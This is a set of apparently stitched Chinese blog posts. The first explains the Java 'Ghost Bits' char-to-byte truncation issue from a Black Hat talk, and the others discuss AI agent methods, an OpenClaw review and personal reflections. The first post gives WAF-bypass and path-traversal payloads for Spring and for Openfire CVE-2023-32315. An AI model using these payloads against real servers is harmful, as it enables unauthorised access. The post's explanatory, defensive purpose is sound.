在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ua分享一个非常有趣的议题，Java中的GhostBits漏洞

在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ue分享一个非常有趣的议题，Java中的GhostBits漏洞

• • https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf

探究深度非常深，影响范围非常之广，内容非常有意思

什么是Ghost Bits？

Ghost Bits这个概念的来源太久很难深究，甚至在软件领域之前就已经有类似的概念。Ghost Bits主要是指那些在莫名其妙的位置影响到软件运行的位，所以形容像幽灵一样。

在这个议题中，Ghost Bits主要指的是在某些类型转换过程中被不小心丢掉的高位，导致原字符串内容变化。

最经典的场景就是char类型和byte类型的转换，也是Java的经典场景。

char类型是16位（2字节），byte类型是8位（1字节），如果发生char强制转换为byte就会丢弃高8位，只保留低8位。其中的8位就像幽灵一样消失了。

在Java中，有4种非常常见的写法都会有该问题

• • (byte) ch：显式的byte强制类型转化

• • ch & 0xFF：位掩码，保留低8位

• • OutputStream.write(int)：写入流时被截断

• • DataOutputStream.writeBytes()：官方JDK方法，在文档中明确写明会丢弃高8位

而在unicode中，会有大量的高位内容，经过处理和转换之后就会被截断变成对应的字符

要注意的是，这个问题本质上在源代码层面表现一致，不能单独算作是一个漏洞，所以在80%的场景下，该问题主要影响的是和源代码不在同一层的软件，其中最经典的就是waf！

具体怎么回事？

基础的原理刚才都理解了，其实就是利用高位无效的机制问题，使得输入的内容在waf和实际源代码处理的时候遇到的是不同的内容。

比如说中文字阮，经过处理之后源代码获得的就是.

字符 '阮' = U+962E = 0x962E
(byte) 0x962E = 0x2E = '.'

那你就可以用这种方式绕过WAF的限制

比如说我输入\u丰丰耳失，waf收到这个输入的时候认为没有任何敏感词，则放行到后端jackson，后端将其转为byte，最终拼接成sql注入语句

最神奇的是，这种逻辑的泛用性极强，首先本身高位被抛弃意味着高位可以塞入任意值，那么对于poc就是多对1的转化关系。

以下两种都可以直接转为对应的../../，这对于waf来讲就是极强的考验，即便只针对byte的转化关系，waf也非常难处理

继续拓展？

刚才提到了，在java本身的代码中，char类型和byte类型的转化是非常常用的写法，其带来的问题往往并不能直白的影响到源代码层面，但对于安全来讲，似乎小概率事件会导致大概率问题？！

CVE-2025-41242 Spring框架因Jetty URI解析不一致导致的路径穿越漏洞

刚才我们讨论的是泛用性非常强的waf场景，那么在Spring框架下，本身会有一个非常大的问题，就是Spring框架中StringUtils.uriDecode和JettyURIUtil.encodePathSafeEncoding的处理方式不一致，导致了底层的路径穿越问题。

• • https://github.com/advisories/GHSA-r936-gwx5-v52f

• • https://github.com/spring-projects/spring-framework/commit/24e66b63

对于Spring框架的StringUtils.uriDecode方法

遇到%时会做专门的处理，并调用ByteArrayOutputStream.write导致了高位bit丢失，出现Ghost Bits漏洞。

阮严灵丰丰甲来会被转为.%u002e

这个输入在Spring层面，不但可以通过isInvalidPath/isInvalidEncodedPath的路径检查，还不会被识别为正常的%u编码，全部放行

传递到Jetty中，URIUtil.encodePathSafeEncoding却会将%u002e做unicode解码转为.，最终构造成为../

Openfire CVE-2023-32315 — 认证绕过

转为Byte丢失高位的方案大家都知道，还有一些更邪门的其他漏洞，其实本质上也是类似的问题。

一个很有趣的例子就是Openfire CVE-2023-32315，这个漏洞本质上是一个基础的路径穿越漏洞

• • CVE-2008-6508，最早的漏洞只需要..就可以实现路径穿越

• • CVE-2023-32315，发现可以用%u002e，也就是UTF-16来替代%2e实现路径穿越，因为AuthCheckFilter并没有校验对应的输入，但Jetty支持%u解码，导致了漏洞的绕过

poc就是这样的

/setup/setup-a/%u002e%u002e/%u002e%u002e/log.jsp

很多WAF都加入了%u002e%u002e作为关键字之一，那么你可以使用这个poc来绕过

/setup/setup-a/%2>%2>/%2>%2>/log.jsp

这里有个比较邪门的点在于，对于大部分框架来说，他们不会把%2>当做url编码去处理，因为>并不是合法的url编码。

但是对于Jetty来说，他会一视同仁，把>传入到convertHexDigit做处理

public static byte convertHexDigit(byte c) {
    byte b = (byte)((c & 0x1f) + ((c >> 6) * 0x19) - 0x10);
if (b < 0 || b > 15)
thrownewNumberFormatException("!hex " + c);
return b;
}

也就是说即便是符号>依旧会经过这一套算法，最终获得结果是14，对应E

那么这样一来，waf收到的请求是%2>不合法的url编码不做处理，jetty把他处理转为了%2E成功输入.绕过waf。

写在最后

其实类似的场景同样非常多，因为许多大型框架中，除了显式的Java类型转化，还会有隐式的框架中的处理导致同样的问题，在原议题中分享了不同框架下涉及到不同漏洞的很多种问题，他们无一都是开发者无意中触发了Ghost bits问题，设计者并没有提前考虑好类型强制转化的额外影响。

正如演讲结尾所说："We have only scratched the surface" — 这才刚刚开始。

跳转微信打开

从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？

继续接着之前的内容来写，从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。

这篇文章讲到的这些概念不是第一天诞生，我相信很多朋友也实打实的在使用这些方法论，那这篇文章让我们重新回顾一下这些概念，也伴随的感受一些，为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？

什么是Skill？

在前两篇文章当中，我曾经提到过，AI有两个非常重要的时间节点，第一个是chatgpt的初诞生，它意味着AI与人类交流沟通的屏障解开了，我们可以通过对话和大模型沟通并让他理解我们的需求。

• • chatgpt打通了人和AI的壁垒

在这个时间节点，大部分场景我们只能依赖prompt，提示词工程来一定程度的定向提高大模型的能力，虽然我觉得并没有什么卵用。

第二个关键的时间节点，gpt4在2023年初推出了Plugins功能，并且在2023年6月推出了Function Calling函数调用功能。

这意味着给给大脑接上了手和脚，大模型不再受限于自己提前训练的数据集，他可以主动调用其他工具收集信息，尤其是联网功能，大幅度提高了大模型的实用价值。

• • ChatGPT Plugins的诞生

其实plugins和Function Calling功能，就是Skill的雏形。

Skill的本质其实就是，把某些特定的场景和解决方案收束成一个skill（技能），给予他一个触发条件，只有触发该条件才会读取这个Skill的内容并按照要求执行下去。

Skill的概念可以说是大模型应用非常核心的一部分，首先它拥有完全符合AI应用理念的特征，还能契合当前AI应用的实际场景。

• • Skill本身独立于大模型外，不需要训练基础LLM，即插即用，还可以长期积累，符合AI学习成长的理念

• • 只有触发才加载对应的skill，既节省不必要的上下文浪费，又可以在有需求的情况下及时引入必要的提示词和流程要求

一个非常有名的Skill叫做Skill Creator，调用它会辅助你构建一个Skill

现在主流的AI应用中，一般都对Skill做了专门的调度单元逻辑，甚至现在很多内置的功能都会通过skill的方式实现。

比如说claude code和codex，内置了十几种skill涉及大量和底层交互的场景，会在必要时触发

现代的skill范式也越来越趋近于标准，从输入到执行流程，内置脚本，最后到输出的内容，都有相应的要求。

我个人觉得skill最大的问题是，可拓展性不够强，当你的skill少的时候，你描述触发的场景大体上比较稳定，但是如果skill太多，llm就很难判定触发了，经常会自己动手，某种程度上也符合人脑会混乱的事实。

比较理想的AI应用往往不会安装太多的Skill，是现在的一种解决方案。

什么是Agent？

如果说skill对于AI应用更多是理念上的进步，Agent和相应的概念更像是使用方法的进步。

在GPT-4诞生没几个月，在Plugins和Function Calling的基础上，社区爆发了大量的衍生项目，其中最有代表性的就是AutoGPT。

AutoGPT这类的应用引出了一个进阶的AI概念就是，我们可以把任务目标抽象成好多个步骤，由好多个独立的实体相互配合完成。

你可以理解为，每个独立的AI agent就是一个独立的人，原本我们是让一个人完成一个工作，这对这个人的能力就有非常高的要求。

现在我们用很多人分工去完成任务，可以把一个任务拆解成很多步骤，每个agent独立完成自己的事情。

有个形容我觉得比较贴切，Agent就是让AI从工具变成了员工。

Agent概念同样解决了LLM的几个大痛点

• • 上下文不够长，即便现在达到上下文百万级别依旧困扰着AI，让一个Agent独立负责一个任务，可以最大程度的减少无效的上下文冗余，针对性更强的完成任务

• • AI幻觉问题，减少无效信息干扰，Agent接收到独立的任务条件和目标，执行方向性会更强，互相也不会干扰

最早的多Agent应用，大多数都是让多个Agent一起做事情，那会儿非常经典的多AI辩论，看过不少。

让多Agent真正发光发热的破局点，就是工作流概念的诞生

什么是工作流？

工作流诞生的契机来的很快，在多Agent的理念出现之后，大家发现单纯让Agent独立完成任务的价值并不大，Agent本身容易失控，早期使用AI的普遍方案，都是让AI对同一个内容多次分析，最后取比例更好的那一个。

在23年底到24年，许多耳熟能详的AI平台诞生了，比如说Dify、Coze，他们都践行了Workflow的工作流理念。

工作流的核心理念是

将任务提前分成多个步骤，分别给每个步骤制定好输入、输出、需要完成的事情，最后再将任务的结果汇总并输入到下一个步骤。

在工作流的理念中，可以提前规划好步骤，也可以由AI规划划分步骤。

推进工作流，可以是类似于Dify这种程序推进Agent完成任务，也可以是由一个负责任Agent来推进任务，单个步骤的任务也可以独立启动多个Agent完成。

工作流诞生的价值一方面是完美利用多Agent的优势，独立Agent节省上下文，目标需求清晰互不干扰

另一方面是相比依赖Agent本身的执行结果，工作流的产出会更强势，这意味着工业化程度更高，那应用的结果效果也会更好。

像Claude Code现在就支持用工作流的方式驱动多Agent完成特定的任务，Codex可以通过Skill驱动工作流任务启动。

在历经了上面的3个关键节点之后，AI的基础方法论已经成型，但实际上距离现在真正的AI成熟化还有很长的距离，其中依旧有几个标志性的事件

慢思考AI的诞生

最早的AI模型都是基于快思考，看到问题直接输出答案，尤其是以GPT为代表，GPT-4模型最经典的问题就是偷懒，最经常的场景就是GPT-4会持续的问你问题。

在2024年底，慢思考模型的经典范例openai的o1模型和Deepseek R1模型，尤其是Deepseek，我个人感觉是从DS开始，我们经常使用的AI都会展示自己的思考过程。

慢思考AI诞生，对工作流本身造成了一定的降级，因为AI本身的思维能力足够强大，强流程的工作流某种程度上来说也成了有能力的AI的枷锁。这个话题我想在后面的文章中再讨论。

对于AI应用的意义来说，慢思考AI引领了后续AI大模型本身能力的提升方向，早期AI Agent你需要提出更明确的需求方式方法，现在的如果使用能力很强的Opus4.6这类大模型，你可以完全提出简单的需求，他会分析你的需求并结合实际场景完成任务，效果反而越来越好。

MCP是什么？

除了大模型本身的能力上升以外，关于方法论的变化也有，那就是MCP.

在2024年底，Anthropic提出了AI大模型的标准协议，就是MCP。其实单纯按照定位来说，MCP有点儿类似于Skill，但是MCP的针对性更强，MCP提出了一套双向通信的标准协议，允许AI大模型通过MCP协议无缝接入任何其他APP。

比较经典的通过mcp操作数据库，操作三方软件，很多公司为了拥抱MCP时代还推出了专门的MCP接口，这样AI在接入很多能力的时候就不用被迫应对原来的风控策略了。

MCP的标准化对于AI Agent的长远发展有着非常特殊的意义，他倒逼厂家自己推出官方MCP，让Agent的触手延伸的更远。

GraphRAG 的出现

除了大模型的能力和AI方法论的演变，在24年诞生的GraphRAG则是在另一个维度上提升了AI能力的深度。

在GraphRAG之前，AI Agent应用的知识库，大部分是传统的RAG系统。

传统RAG的核心特质是，会把一篇文章切分成很多部分，然后把他们向量化，通过片段的向量相似度搜索相关的片段输入到AI，实现某种程度上的记忆，最大的问题是这种方案非常强烈的依赖切片的质量，或者这个问题的答案干脆就没有相似度，他的效果就会大大下降，这个问题曾经贯穿早期试图做AI搜索的许多方案，令人望而生却。

GraphRAG采用了图的基础结构，将目标转化为知识图谱，节点和关系作为核心，然后GraphRAG基于图算法把每一段信息内容总结为一个独立的社区，社区有大的总结，在子社区内又存在不同的节点和关系以供搜索。

这种基于图的逻辑结构在近几年的许多工业化产物上践行，他最大的优势就是在一个非常庞大的数据中可以快速的检索相关性，给数据降了维度。

GraphRAG理念的普及大幅度提升了现在AI大模型的长期记忆能力，而且这种深度记忆的理念在许多AI应用上都有更深层次的应用。结构化长期记忆让AI变的更具有成长性，也正是在这个基础上，后续衍生了更多关于培养AI的方法论，不再依赖模型本身的训练和微调，而是在使用方法的角度做培养。

Claude.md？

相比于大模型和应用原理上的进步，对于用户来说，方法论会有更直接的影响，比较有代表性的一个东西就是Claude.md，这个方法论被称之为“声明式智能体约束”。

很有趣的是这并不是Claude创造的概念，他最早诞生于家喻户晓的Cursor ，在AI代码编辑器Cursor 诞生之后，不可避免的衍生出了一个问题就是，如何让Cursor在每次编辑代码的时候，遵守开发者的基础要求和规范呢？

于是Cursor采用了.cursorrules的提示词文件，放在项目的根目录，Cursor每次执行任务都会先阅读这个文件作为高层级的记忆标准。

那又过了一段时间后Claude Code自然也沿用了这套方案，他们完成了分级的Claude.md。

你可以按照不同位置的Claude.md实现不同的场景定制化，比如说用户级，项目级，还可以多人维护开发要求。

相比大模型本身的记忆，Claude.md这种提示词文件的主观性和强制性更强，还可以让AI自己总结并写入Claude.md。

这其实是一件非常有意思的事情：最初，顶级的 AI 科学家们（OpenAI、Anthropic）在拼命研究复杂的 JSON Schema、Function Calling 格式、复杂的 Agent 编排逻辑；但最后真正在一线写代码的程序员们发现，“在根目录扔一个 README 格式的 txt 文件给 AI 看” 才是最简单、最优雅、最符合直觉的解法。

为什么2025年AI应用井喷？

其实回顾以上的几个AI的方法论，最早的诞生于23年和GPT4一起诞生，最晚的基本上也不会脱离24年底，也就是说其实AI现在的主流方法论在24年底就已经形成了。

那为什么直到2025年年底，AI应用井喷式增长？

其实答案也很简单，就像移动互联网的爆发是3G/4G网络+APP生态+手机相关技术+时代发展集合一样，AI应用等来了大模型的能力上升（慢思考），等来了成本的暴跌（Deepseek蒸馏带来的启发），等来了AI操作的边界拓展（MCP），等来了成熟的方法论（Skill和多Agent），所以导致了今天的结果。

跳转微信打开

如果不先聊聊OpenClaw，这东西很可能就要过气了。

上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。

但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。

Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，很多人把OpenClaw称为Web4.0时代的开端。

Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的称呼应该叫做龙虾。

无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。

绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。

其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

如果对Claude Code比较熟悉的朋友应该知道，其实Claude Cli和OpenClaw本质上没有什么区别，换言之，从设计理念的角度，OpenClaw就是没有任何安全限定的Claude Code。

从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！

OpenClaw的爆火真的是偶然吗？

OpenClaw应该是第一个，完全免费开源，并且已经进入可用阶段的托管式AI助手，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，无论是工作流、agent，还是mcp、skill，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。

这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。

对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。

国内爆火的理由？

这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手，然后你就可以“快乐”的养龙虾了。

腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。

相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如国内最早的定制化Claw之一Kimi Claw。

必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。

除此之外，最值得期待的应该是腾讯要推出的Qclaw

如果亲自上手过OpenClaw，应该会明白，这东西和IM的相性是好不好用很重要的一环，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。

我想用OpenClaw做个日报，一个图片他改了2天还改不好

我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。

虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。

抛开营销，OpenClaw有价值吗？

我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。

我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。

• • 什么是“养龙虾”？

用技术的方式，通俗易通的讲，就是通过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。

这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会把部分最高指令长期培养在Claude.md，AI编程就会原来越好用，同理。

• • 听起来好像很靠谱？！

虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，OpenClaw并不是一个成熟的项目。

前面说过，OpenClaw是一个个人开发的项目，开发Peter还靠这个项目加入了openai，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是短短几个月OpenClaw就成了超大屎山代码，不说设计上的问题，光是代码和开发上的问题就频频出问题。

有一些特别具体的例子，我分享几个。

• • 开发和管理上的问题

2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令

更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。

最关键的是OpenClaw他自己也没有做相应的记忆，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。

• • 默认的配置权限混乱

如果操作OpenClaw抓取图片发送给我，大概率会失败。

我花了一段时间研究修复，最后发现原因也很搞笑。

如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。

没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。

• • 上下文过长，记忆混乱

其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。

我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。

这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.6的效果了。

但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。

而且我自己的感觉是，这个问题和我的实现方式关系不大，即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。

甚至如果使用的时间够长，那么被我设置为最高指令的部分，他都不会遵守。

这让我意识到一个问题，不管问题的起因在哪，OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的，这也意味着所谓的养"龙虾"其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。

ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。

对了如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。

• • 安全性？

随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。

虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈如果不能直接利用，我们更愿意把他称之为安全风险。

其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，OpenClaw的核心是托管，完全无人工参与，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但反过来他的风险也同样来自于自己。

ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。

提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？

一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了。

另一个算是问题比较大的，就是供应链攻击。

现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。

他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。

感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。

OpenClaw到底有什么用？

相比OpenClaw的缺点和问题来说，其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。

客观来说，有更好的工具珠玉在前，OpenClaw最大的优势很难撇得开门槛低。

或者说OpenClaw最大的价值就是，你可以以极低的成本操作服务器来完成任务，而这个任务目前来讲最好的实现逃不开爬虫。

比如说80%的人都看过的OpenClaw案例，推荐股票

说白了就是，读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作（应该没人真的把自动交易交给OpenClaw吧）。

本质就是一个后台运行的爬虫，建立在OpenClaw上完成这个需求门槛极低，不需要会写代码，会阐述需求即可。

我自己用OpenClaw玩了一周多的时间，其中唯一一个稳定运行没出过毛病的也是爬虫，帮我监控nga热门帖子推送给我。

主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。

这一套下来最方便的点就是，如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。

当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一。

举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。

ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动

截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中

写在最后

洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。

• • OpenClaw到底有没有意义？

有，首先作为开源工具证明了这个理念的可行性，nb

• • OpenClaw到底是不是营销出来的？

是，OpenClaw原生至少现在，根本不具备被养的能力

• • OpenClaw值不值得玩一下？

我只能说比你想象的可能要有用一些

我们下篇再见！

跳转微信打开

今天这篇博客，没有技术，只想和大家分享分享最近的想法。

许久没有起笔写博客和公众号了，忽然一下起笔，似乎一下子找不到下笔的方式和由头，其实我想恢复写博客的习惯很久了。

最近几年博客写的很少，原因有很多，一个这几年工作内容涉及到的公司内容比较多，不好去密，另一个是人真的是很懒惰的，放下笔很容易但是提起笔需要很多理由。

今天这篇博客，没有技术，只想和大家分享分享最近的想法。

认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。

反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。

我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容

https://poc.qianxin.com/

对我来说近期有一件事情影响非常之大，AI之于用户甚至之于这个时代都已经是老生常谈，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。

从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是很多时候只是大体看看怎么回事，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。

我工作中使用AI更多的场景，依旧是平时拿AI当搜索软件搜索写代码遇到的问题，再就是用trae维护另一个我自己维护的平台功能，我很少会深度的使用AI。

在当时心中对于AI的认知还停留在，上下文不够长，幻觉严重的问题无法解决，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。

直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，或许真的AI时代的洪流，要到来了。

第一件事情就是，Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。

其实说实话，我没有很刻意的求证过该内容是不是有夸大其词的成分，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。

我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。

第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，这已经是ai agent最基础不过的应用场景了。

另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。

但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。

第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个专门的AI和漏洞挖掘的分享会，在这个分享会上，最早开始深度投入ai的团队，已经做出了一些非常不错的漏洞挖掘工作流，还有了很多成果。

这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是装模做样做分析但实际上上下文根本不足以支撑正常项目，只能跑跑测试样例写论文，要不就是辅助写CodeQL的规则，实际上没有脱离工具本身。

这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，但我自以为是的傲慢让我错过了最早跟上的第一班车。

在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。

我开始越来越意识到，我似乎正值某一个时代的风口。

其实在我不短不长的职业生涯中，也接触过好几次类似的事情。

我真正意义上错过的风口，其实只有一个，叫做移动互联网。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。

我第二次遇到所谓的风口，叫做区块链。

和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，最早投入区块链安全的人群之一。

但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，金融就是他最好的场景，于是在后续的几年里我快速的从这里抽身出来。

幸运的是我的认知是对的，炒币已经是区块链最大的意义了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。

在中间快速的跳过几年，上一次时代浪潮的风口叫做chatgpt，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。

在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。

2022年，chatgpt完全打破了普通用户和AI的第一扇窗，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。

在最早的版本中，ai的实用性还很差，大部分用户只能以prompt工程师的方式，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。

ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。

最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，RAG的知识库模式应该是最早唯一的实现方式。

简单来说就是

用户提问

↓

将问题向量化（Embedding）

↓

在知识库中检索相关文档（VectorDB）

↓

将检索结果 + 原始问题拼接为Prompt

↓

送入LLM生成最终回答

实话讲这套方案效果非常差，试图将AI能力薄弱转嫁为数学问题，在实际体验中效果就很一般了，那最早做AI搜索的知识库，搜索引擎，效果都不算好，更多都是以营销为核心。

再往后，大概是2023年年终，以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。

